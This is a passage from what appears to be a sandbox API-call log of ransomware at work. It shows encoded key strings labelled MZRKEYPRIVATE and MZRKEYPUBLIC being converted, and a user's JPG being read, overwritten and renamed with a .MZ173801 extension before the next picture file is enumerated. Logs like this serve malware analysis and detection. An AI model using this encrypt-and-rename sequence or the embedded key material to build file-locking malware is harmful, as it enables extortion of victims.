bDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24fc31c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.252] GetCurrentThreadId () returned 0xab4 [0153.252] GetCurrentThreadId () returned 0xab4 [0153.252] GetCurrentThreadId () returned 0xab4 [0153.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250d37c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.253] GetCurrentThreadId () returned 0xab4 [0153.253] GetCurrentThreadId () returned 0xab4 [0153.253] GetCurrentThreadId () returned 0xab4 [0153.253] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bzprLu.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\bzprlu.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.253] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.253] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.253] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x7bfa [0153.253] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.253] ReadFile (in: hFile=0x294, lpBuffer=0x2515180, nNumberOfBytesToRead=0x7bfa, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2515180*, lpNumberOfBytesRead=0x19fa18*=0x7bfa, lpOverlapped=0x0) returned 1 [0153.254] CloseHandle (hObject=0x294) returned 1 [0153.255] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bzprLu.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\bzprlu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.256] WriteFile (in: hFile=0x294, lpBuffer=0x251d1b0*, nNumberOfBytesToWrite=0x7bfa, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x251d1b0*, lpNumberOfBytesWritten=0x19fa24*=0x7bfa, lpOverlapped=0x0) returned 1 [0153.258] CloseHandle (hObject=0x294) returned 1 [0153.260] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\bzprLu.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\bzprlu.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\bzprLu.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\bzprlu.jpg.mz173801")) returned 1 [0153.260] GetCurrentThreadId () returned 0xab4 [0153.260] GetCurrentThreadId () returned 0xab4 [0153.260] GetCurrentThreadId () returned 0xab4 [0153.260] GetCurrentThreadId () returned 0xab4 [0153.260] GetCurrentThreadId () returned 0xab4 [0153.260] GetCurrentThreadId () returned 0xab4 [0153.261] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0153.261] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26544840, ftCreationTime.dwHighDateTime=0x1d5eb26, ftLastAccessTime.dwLowDateTime=0x3b153bc0, ftLastAccessTime.dwHighDateTime=0x1d5e286, ftLastWriteTime.dwLowDateTime=0x3b153bc0, ftLastWriteTime.dwHighDateTime=0x1d5e286, nFileSizeHigh=0x0, nFileSizeLow=0xeb1a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="cjOca2N.png", cAlternateFileName="")) returned 1 [0153.261] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.261] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.261] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\cjOca2N.png" (normalized: "c:\\users\\fd1hvy\\pictures\\cjoca2n.png"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26544840, ftCreationTime.dwHighDateTime=0x1d5eb26, ftLastAccessTime.dwLowDateTime=0x3b153bc0, ftLastAccessTime.dwHighDateTime=0x1d5e286, ftLastWriteTime.dwLowDateTime=0x3b153bc0, ftLastWriteTime.dwHighDateTime=0x1d5e286, nFileSizeHigh=0x0, nFileSizeLow=0xeb1a)) returned 1 [0153.261] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\cjOca2N.png" (normalized: "c:\\users\\fd1hvy\\pictures\\cjoca2n.png")) returned 0x20 [0153.261] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\cjOca2N.png", dwFileAttributes=0x80) returned 1 [0153.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24fc31c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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